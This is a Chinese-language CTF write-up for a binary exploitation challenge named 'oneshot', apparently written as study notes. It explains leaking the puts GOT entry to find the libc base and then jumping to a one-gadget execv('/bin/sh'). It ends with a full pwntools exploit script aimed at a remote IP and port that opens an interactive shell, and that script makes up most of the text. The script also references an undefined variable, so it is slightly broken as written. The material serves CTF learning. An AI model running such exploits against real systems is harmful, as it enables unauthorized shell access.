思路
- 第一次输入的是一个地址
- 会输出地址的内容——这个可以用来泄露
所以在第一次输入的是got表中的puts函数的地址——IDA中看到
因为这个时候puts已经初始化了 - 一旦泄露了,在后面的输入就可以进行跳转到想要的位置
根据不同函数地址的相对偏移是固定的 - 而且这里不能覆盖
因为%ld限制输入八个字节
后面直接就会跳到我们第二次输入的地址去执行
直接就会跳转到输入的位置去执行
但是这个题目的坑点在于要找到正确的偏移,在给出的libc中,有8个带/bin/sh的execv
一个一个试一下才能找到
这个就是oneshot的缺点——因为我们没有控制寄存器的内容
只是复用代码,非常可能出现问题
出现的问题
这个题目输入要用str去输入,不是p64
要注意用sendline
泄露地址永远是got表
要仔细看返回的信息,特别是截取返回数据中的地址值——有可能不小心就少了一位
心得
其实不是很难——毕竟一开始就给你泄露的机会——不过好像太直接了,没有领会到这个意思。。。
然后后面连覆盖都不要,只要找到正确的偏移
oneshot技术有猜的成分——需要进行尝试——因为和执行的时候的寄存器的值有关
其实在本地破解也是可能不能成功的,毕竟环境还是有些不同的
代码
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
proc_name = './oneshot'
proc_elf = ELF(proc_name)
print proc_elf.checksec()
context.log_level = 'debug'
io = remote("59.110.6.128",10086)
#io = process(proc_name)
#print proc.pidof(io)[0]
raw_input('debug')
local_lib_system =0x7ffff7a53380
local_lib_printf = 0x557b0
local_lib_execv = 0x451ff
local_lib_puts = 0x6f5d0
local_lib_temp = 0x6f4e6
lib2_sys = 0x46590
lib2_printf =0x0000000000054340
lib2_execv = 0x00000000000C12E0
lib2_puts = 0x6fd60
got_printf = 0x600ae8
got_puts = 0x600ad8
plt_puts = 0x4004F0
plt_printf = 0x400510
payload1 = str(int(got_puts))
io.recvuntil("?");
io.sendline(payload1)
io.recvuntil(":")
recvdata = io.recv()
puts_addr = recvdata[:19]
print "puts_addr "+ puts_addr
puts_addr = int(puts_addr,16)
execv1 = 0x6FBDA
execv2 = 0x46483
execv3 = 0xC18D1
execv4 = 0xC1BA3
execv5 = 0xC1BF2
execv6 = 0xE4968
execv7 = 0xE5765
execv8 = 0xE66BD
execv_addr = puts_addr + execv - lib2_puts
print "execv_addr " +str(hex(execv_addr))
payload2 = str(execv_addr)
io.sendline(payload2)
io.recvuntil("!")
io.interactive()